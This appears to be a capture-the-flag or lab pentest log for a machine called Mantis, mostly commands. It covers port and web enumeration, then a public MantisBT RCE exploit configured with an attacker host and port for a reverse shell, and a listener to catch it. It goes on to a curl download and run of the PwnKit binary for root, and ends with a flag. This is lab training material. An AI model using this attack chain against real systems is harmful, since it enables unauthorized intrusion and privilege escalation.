🧪 Pentest Log: {{date:2025-08-26}}

🔍 Target Information

• Machine Name: Mantis
• IP Address: 10.11.1.74
• Operating System: Linux

ip=10.11.1.74

📡 Enumeration

🔌 Port Scanning

Command Used

ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -sC -sV $ip -oN tcp_scan_result.txt

nmap -sU --top-ports 100 $ip -oN udp_scan_result.txt

Port 22

Port 80

Web Content Enumeration

gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/common.txt

dirsearch -u http://$ip -r -o dirsearch.txt

wpscan --url http://$ip

Found robots.txt file

User-agent: *
Disallow /mantisbt-2.3.0

Google for mantisbt-2.3.0 exploit, found

https://www.exploit-db.com/exploits/48818

💣 Exploitation

📌 Vulnerability Summary

• Service / Port: 80
• Vulnerability Type: RCE

🚀 Exploit Execution

🔧 Exploit Method

• Manual
• Public Exploit
• Custom Script

Tool / Script Used:

https://www.exploit-db.com/exploits/48818

		self.RHOST = "10.11.1.74" # Victim IP
		self.RPORT = "80" # Victim port
		self.LHOST = "172.16.1.2" # Attacker IP
		self.LPORT = "80" # Attacker Port

python2 48818.py

python3 /home/kali/Documents/oscp/Shell\ Handler/penelope/penelope.py -p 80

🧬 Privilege Escalation

👤 Current Access

• User: www-data
• Groups: 33(www-data)
• Shell Type: reverse shell

🔍 Enumeration

Kernel Check:

uname -a

found

4.4.0-21-generic #37-Ubuntu

🔓 Privilege Escalation Exploit

📌 Exploit Summary

• Technique Used: Kernel Exploit
• Target Binary/Service: N/A
• Reference / Source: https://github.com/ly4k/PwnKit?tab=readme-ov-file

🔧 Exploit Steps

• Setup

curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit32 -o PwnKit32

chmod +x PwnKit32

• Smash to root

./PwnKit32

• Key File

8fv6wznh6efx966okspg